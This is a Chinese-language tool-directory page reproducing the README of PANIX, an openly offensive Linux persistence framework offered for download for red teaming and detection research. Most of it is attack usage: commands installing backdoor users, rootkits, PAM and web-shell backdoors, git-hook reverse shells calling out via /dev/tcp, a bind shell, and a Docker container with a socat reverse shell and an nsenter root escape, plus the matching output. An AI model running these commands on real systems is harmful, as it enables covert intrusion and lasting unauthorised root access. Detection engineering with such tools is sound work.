Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PANIX — 用于安全研究与检测工程的可定制 Linux 持久化工具。 | Kitploit
工具/GitHubGitHub/aegrah/panix
权限提升持久化机制后渗透利用渗透测试红队远程访问工具容器逃逸
GitHubaegrah/panix

PANIX

用于安全研究与检测工程的可定制 Linux 持久化工具。

查看仓库
8761025个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

PANIX 标志

PANIX - 针对 *NIX 的持久化

PANIX 是一个功能强大、模块化且高度可定制的 Linux 持久化框架,专为安全研究人员、检测工程师、渗透测试人员、CTF 爱好者等设计。PANIX 以多功能性为设计核心,强调功能性,是理解和实施各种持久化技术的重要工具。

特性

PANIX 提供了一套多功能特性,用于模拟和研究 Linux 持久化机制。

功能描述Root用户
At Job Persistence通过向系统作业添加条目来实现持久化。✅✅
Authorized Keys将公钥添加到 authorized_keys 文件以实现 SSH 访问。✅✅
Backdoor User创建一个具有 UID=0(root 权限)的后门用户。✅❌
Backdoor System User将系统用户作为后门(允许以 news/nobody 身份进行 SSH 访问)。✅❌
Backdoored /etc/passwd直接将恶意用户条目添加到 /etc/passwd。✅❌
Backdoored /etc/init.d通过 SysVinit(/etc/init.d)建立持久化。✅❌
Backdoored /etc/rc.local通过运行控制(/etc/rc.local)建立持久化。✅❌
Bind Shell运行预编译的/LOLBin 绑定 shell 以进行远程访问。✅✅
Capabilities Backdoor向二进制文件添加特定 capabilities 以维持持久化。✅❌
Cron Job Persistence设置 cron 作业以确保跨重启持久化。✅✅
Create User在系统上创建新用户账户。✅❌
D-Bus Backdoor创建 D-Bus 服务以实现 root 反向 shell 访问。✅❌
Diamorphine Rootkit安装 Diamorphine 可加载内核模块 Rootkit。✅❌
Initramfs Persistence在重启时将 UID=0 后门用户注入 initramfs。✅❌
Git Persistence利用 Git 钩子或分页器在 Git 仓库中实现持久化。✅✅
Generator Persistence利用 systemd 生成器创建持久化服务。✅❌
GRUB Backdoor操纵 GRUB 以在启动时执行后门。✅❌
Malicious Container部署专为容器逃逸设计的 Docker 容器。✅✅

支持

PANIX 在各种 Linux 发行版上提供全面支持。

自定义或过期的 Linux 发行版可能具有不同的配置或缺少特定功能,导致机制在未经测试的版本上失效。如果默认命令失败,请使用大多数功能中提供的 --custom 标志来调整适合你环境的路径和命令。如果这仍不能解决问题,请查看并修改脚本以满足你的需求。

我们始终欢迎通过拉取请求或 issue 提交新功能、更新或想法!

仓库结构

PANIX 仓库的设计注重模块化、可维护性和易于扩展。每种持久化机制都包含安装和还原脚本,简化了管理和移除。```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.

root@kitploit:~
## 主要优势
- **成对设置与还原**:每个 `setup_*.sh` 都有对应的 `revert_*.sh`,确保持久化机制易于移除。
- **模块化设计**:可以轻松修改现有模块或添加新模块,而不会影响核心脚本。
- **简单扩展**:要添加新功能:
  1. 在 `modules/` 中创建新的 `setup_*.sh`。
  2. 在 `modules/revert/` 中添加对应的 `revert_*.sh`。
  3. 更新 `main.sh` 以包含新脚本。
  4. 更新 `common.sh` 以在帮助菜单中包含该模块。
  4. 运行 `build.sh` 以生成更新后的 `panix.sh`。

![](https://assets.kitploit.com/production/public/readmes/49017/0f8577169f23a3ca80ea092defce92f9898186eb66d98222dee1538b66dbc7e9.png)

# 快速入门
让 PANIX 启动并运行非常简单,只需从 [发布页面](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0) 下载脚本并执行即可:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash

或者下载并手动执行:```

Download through curl or wget

curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh

Grant execution permissions and execute the script.

chmod +x panix.sh ./panix.sh

root@kitploit:~
执行脚本时,将根据当前用户拥有的权限显示 `root` 或 `user` 帮助菜单。```
panix@panix-demo:~$ sudo ./panix.sh
 __
|__)  /\  |\ | | \_/
|    /~~\ | \| | / \

@RFGroenewoud

Root User Options:

  --at                   At job persistence
  --authorized-keys      Add public key to authorized keys
  --backdoor-user        Create backdoor user
  --backdoor-system-user Create backdoor system user
  --bind-shell           Execute backgrounded bind shell
  --cap                  Add capabilities persistence
  --create-user          Create a new user
  --cron                 Cron job persistence
  --dbus                 D-Bus service persistence
  --generator            Generator persistence
  --git                  Git hook/pager persistence
  --grub                 GRUB bootloader persistence
  --initd                SysV Init (init.d) persistence
  --initramfs            Initramfs persistence 
  --ld-preload           LD_PRELOAD backdoor persistence"
  --lkm                  Loadable Kernel Module (LKM) persistence
  --malicious-container  Docker container with host escape"
  --malicious-package    Build and Install a package for persistence (DPKG/RPM)
  --motd                 Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
  --network-manager      NetworkManager dispatcher script persistence
  --package-manager      Package Manager persistence (APT/YUM/DNF)
  --pam                  Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
  --passwd-user          Add user to /etc/passwd directly
  --password-change      Change user password
  --polkit               Allow pkexec as any user through Polkit
  --rc-local             Run Control (rc.local) persistence
  --reverse-shell        Reverse shell persistence (supports multiple LOLBins)"
  --rootkit              Diamorphine (LKM) rootkit persistence 
  --shell-profile        Shell profile persistence
  --ssh-key              SSH key persistence
  --sudoers              Sudoers persistence
  --suid                 SUID persistence
  --system-binary        System binary persistence
  --systemd              Systemd service persistence
  --udev                 Udev (driver) persistence
  --web-shell            Web shell persistence (PHP/Python)
  --xdg                  XDG autostart persistence
  --revert               Revert changes made by PANIX' default options
  --mitre-matrix         Display the MITRE ATT&CK Matrix for PANIX
  --quiet (-q)           Quiet mode (no banner)

示例

该脚本大部分内容不言自明,不过本节将展示一些使用 PANIX 的示例。

帮助菜单

每个持久化机制都有独立的帮助菜单:``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message

root@kitploit:~
每个持久化机制还带有一个 `--examples` 标志,用于展示默认和自定义示例,从而帮助你构建出适合自己的命令。```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager

--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook

./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"

执行

大多数持久化机制都非常简单,(希望)不需要太多解释。例如,只需通过执行以下命令即可简单设置 systemd 持久化:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!

root@kitploit:~
在设置持久化机制时,脚本会告知你是否成功;在需要信息才能使用该持久化机制的情况下,还会提供额外的信息。例如绑定shell机制:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!

允许你与绑定 shell 进行交互:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root

root@kitploit:~
这同样适用于具有额外内置功能的机制,例如 Docker 持久化机制,其内置了 root 主机逃逸:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED                                                                                                                                            docker:default
 => [internal] load build definition from Dockerfile                                                                                                                                   0.0s
 => => transferring dockerfile: 722B                                                                                                                                                   0.0s
 => [internal] load metadata for docker.io/library/alpine:latest                                                                                                                       2.1s
 => [internal] load .dockerignore                                                                                                                                                      0.0s
 => => transferring context: 2B                                                                                                                                                        0.0s
 => [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0                                                                 0.8s
 => => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0                                                                 0.0s
 => => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB                                                                                         0.0s
 => => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B                                                                                             0.0s
 => => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB                                                                                         0.0s
 => => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB                                                                                         0.4s
 => => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99                                                                                              0.2s
 => [2/5] RUN apk add --no-cache bash socat sudo util-linux procps                                                                                                                     4.4s
 => [3/5] RUN adduser -D lowprivuser                                                                                                                                                   0.6s
 => [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330"  0.8s
 => [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec  0.8s
 => exporting to image                                                                                                                                                                 0.6s
 => => exporting layers                                                                                                                                                                0.6s
 => => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790                                                                                           0.0s
 => => naming to docker.io/library/malicious-container                                                                                                                                 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.

这向您准确展示了如何逃逸容器,并获取对宿主机的访问权限。``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#

root@kitploit:~
## 回滚机制
PANIX 可以通过 `--revert` 命令清理其痕迹。同时适用于单独的模块:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit

######################### [+] Reverting rootkit module... ######################### 

[+] Sending 'kill -63 0' to unload the rootkit module... 
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit... 
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.

以及对于所有模块:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all

[+] Running full reversion with --revert-all... [+] Reverting all modules...

######################### [+] Reverting revert_at... #########################

Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1

######################### [+] Reverting revert_authorized_keys... #########################

[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.

######################### [+] Reverting revert_backdoor_user... #########################

[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.

######################### [+] Reverting revert_bind_shell... #########################

[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.

[...]

[+] Reversion of all modules complete.

root@kitploit:~
## MITRE ATT&CK 矩阵
PANIX 内置了一个 MITRE ATT&CK 矩阵,用于显示可用的技术和子技术。```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix

MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX

Persistence Method        Technique Name                           Technique ID    Sub-technique Name                       Sub-technique ID     URL                                                                   
-------------------       --------------                           -------------   -----------------                        ---------------      ---------------------------------------------                         
--at                      Scheduled Task                           T1053           At                                       T1053.002            https://attack.mitre.org/techniques/T1053/002
--authorized-keys         Account Manipulation                     T1098           SSH Authorized Keys                      T1098.004            https://attack.mitre.org/techniques/T1098/004
--backdoor-user           Create Account                           T1136           Local Account                            T1136.001            https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user    Account Manipulation                     T1098           SSH Authorized Keys                      T1098.004            https://attack.mitre.org/techniques/T1098/004
--bind-shell              Command and Scripting Interpreter        T1059           Unix Shell                               T1059.004            https://attack.mitre.org/techniques/T1059/004
--cap                     Abuse Elevation Control Mechanism        T1548           N/A                                      N/A                  https://attack.mitre.org/techniques/T1548
--create-user             Create Account                           T1136           Local Account                            T1136.001            https://attack.mitre.org/techniques/T1136/001
--cron                    Scheduled Task                           T1053           Cron                                     T1053.003            https://attack.mitre.org/techniques/T1053/003
--dbus                    Create or Modify System Process          T1543           N/A                                      N/A                  https://attack.mitre.org/techniques/T1543
--generator               Create or Modify System Process          T1543           Systemd Service                          T1543.002            https://attack.mitre.org/techniques/T1543/002
--git                     Event Triggered Execution                T1546           N/A                                      N/A                  https://attack.mitre.org/techniques/T1546
--grub                    Pre-OS Boot                              T1542           N/A                                      N/A                  https://attack.mitre.org/techniques/T1542
--initd                   Boot or Logon Initialization Scripts     T1037           N/A                                      N/A                  https://attack.mitre.org/techniques/T1037
--initramfs               Pre-OS Boot                              T1542           N/A                                      N/A                  https://attack.mitre.org/techniques/T1542
--ld-preload              Hijack Execution Flow                    T1574           Dynamic Linker Hijacking                 T1574.006            https://attack.mitre.org/techniques/T1574/006
--lkm                     Boot or Logon Autostart Execution        T1547           Kernel Modules and Extensions            T1547.006            https://attack.mitre.org/techniques/T1547/006
--malicious-container     Escape to Host                           T1610           N/A                                      N/A                  https://attack.mitre.org/techniques/T1610
--malicious-package       Event Triggered Execution                T1546           Installer Packages                       T1546.016            https://attack.mitre.org/techniques/T1546/016
--motd                    Boot or Logon Initialization Scripts     T1037           N/A                                      N/A                  https://attack.mitre.org/techniques/T1037
--network-manager         Event Triggered Execution                T1546           N/A                                      N/A                  https://attack.mitre.org/techniques/T1546
--package-manager         Event Triggered Execution                T1546           Installer Packages                       T1546.016            https://attack.mitre.org/techniques/T1546/016
--pam                     Modify Authentication Process            T1556           Pluggable Authentication Modules         T1556.003            https://attack.mitre.org/techniques/T1556/003
--passwd-user             Account Manipulation                     T1098           N/A                                      N/A                  https://attack.mitre.org/techniques/T1098
--password-change         Account Manipulation                     T1098           N/A                                      N/A                  https://attack.mitre.org/techniques/T1098
--polkit                  Modify Authentication Process            T1556           N/A                                      N/A                  https://attack.mitre.org/techniques/T1556
--rc-local                Boot or Logon Initialization Scripts     T1037           RC Scripts                               T1037.004            https://attack.mitre.org/techniques/T1037/004
--reverse-shell           Command and Scripting Interpreter        T1059           Unix Shell                               T1059.004            https://attack.mitre.org/techniques/T1059/004
--rootkit                 Rootkit                                  T1014           N/A                                      N/A                  https://attack.mitre.org/techniques/T1014
--shell-profile           Event Triggered Execution                T1546           Unix Shell Configuration Modification    T1546.004            https://attack.mitre.org/techniques/T1546/004
--ssh-key                 Account Manipulation                     T1098           SSH Authorized Keys                      T1098.004            https://attack.mitre.org/techniques/T1098/004
--sudoers                 Abuse Elevation Control Mechanism        T1548           Sudo and Sudo Caching                    T1548.003            https://attack.mitre.org/techniques/T1548/003
--suid                    Abuse Elevation Control Mechanism        T1548           Setuid and Setgid                        T1548.001            https://attack.mitre.org/techniques/T1548/001
--system-binary           Compromise Host Software Binary          T1554           N/A                                      N/A                  https://attack.mitre.org/techniques/T1554
--systemd                 Create or Modify System Process          T1543           Systemd Service                          T1543.002            https://attack.mitre.org/techniques/T1543/002
--udev                    Event Triggered Execution                T1546           Udev Rules                               T1546.017            https://attack.mitre.org/techniques/T1546/017
--web-shell               Server Software Component                T1505           Web Shell                                T1505.003            https://attack.mitre.org/techniques/T1505/003
--xdg                     Boot or Logon Autostart Execution        T1547           XDG Autostart Entries                    T1547.013            https://attack.mitre.org/techniques/T1547/013                     

Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

出版物与资源

以下出版物中使用了 PANIX:

  • Linux 检测工程 - 持久化机制入门
  • Linux 检测工程 - 持久化机制续篇
  • Linux 检测工程 - 持久化机制之延续
  • Linux 检测工程 - 逼近持久化机制之巅
  • Linux 检测工程 - Linux 持久化机制的盛大终章

欢迎关注我的社交媒体,了解(Linux)安全研究的最新动态。

Twitter LinkedIn Blog GitHub

分享

通过分享 PANIX,你可以帮助他人测试和改进其安全态势,并为 Linux 安全领域新检测能力的开发提供支持。

GitHub Repo stars GitHub Repo stars GitHub Repo stars GitHub Repo stars GitHub Repo stars

免责声明

PANIX 仅用于经授权的安全测试和研究目的。不纵容将该工具滥用于恶意活动,一切风险完全由用户自行承担。使用 PANIX 即表示你同意对自己的行为负责。别做傻事就行。

下载工具
Malicious Package安装 DPKG/RPM 包以实现持久化。✅❌
NetworkManager安装 dispatcher 脚本,在触发网络操作时实现持久化。✅❌
LD_PRELOAD Backdoor使用 LD_PRELOAD 注入恶意库以实现持久化。✅❌
LKM Backdoor加载可加载内核模块以维持持久化。✅❌
MOTD Backdoor修改每日消息(MOTD)以建立持久化。✅❌
Package Manager操控 APT/YUM/DNF,在使用时建立持久化。✅❌
PAM Persistence使用恶意模块或 pam_exec 安装 PAM 后门。✅❌
Password Change更改用户密码以保护后门账户。✅❌
Polkit Backdoor创建权限过高的 Polkit 配置后门。✅❌
Reverse Shell建立反向 shell(支持多种 LOLBin)。✅✅
Shell Profile Persistence修改 shell 配置文件,以便在用户登录时执行脚本。✅✅
SSH Key Persistence操控 SSH 密钥以维持通过 SSH 的持久访问。✅✅
Sudoers Backdoor修改 /etc/sudoers 文件以授予提升的权限。✅❌
SUID Backdoor通过设置 SUID 位对二进制文件植入后门。✅❌
System Binary Backdoor包装系统二进制文件以包含后门功能。✅❌
Systemd Service创建 systemd 服务以确保重启后持久化。✅✅
Udev Persistence利用驱动程序在硬件交互层面实现持久化。✅❌
Web Shell Persistence部署 Web 服务器,通过 Web 界面进行远程访问。✅✅
XDG Autostart利用 XDG 自启动目录在用户登录时实现持久化。✅✅
发行版支持测试版本
Debian✅Debian 11 & 12
Ubuntu✅Ubuntu 22.04(Diamorphine 不可用)
RHEL✅RHEL 9(MOTD 和预操作系统启动技术不可用)
CentOS✅CentOS Stream 9 & 7(MOTD 和预操作系统启动技术不可用)
Fedora✅尚未完全测试
Arch Linux✅尚未完全测试
OpenSUSE✅尚未完全测试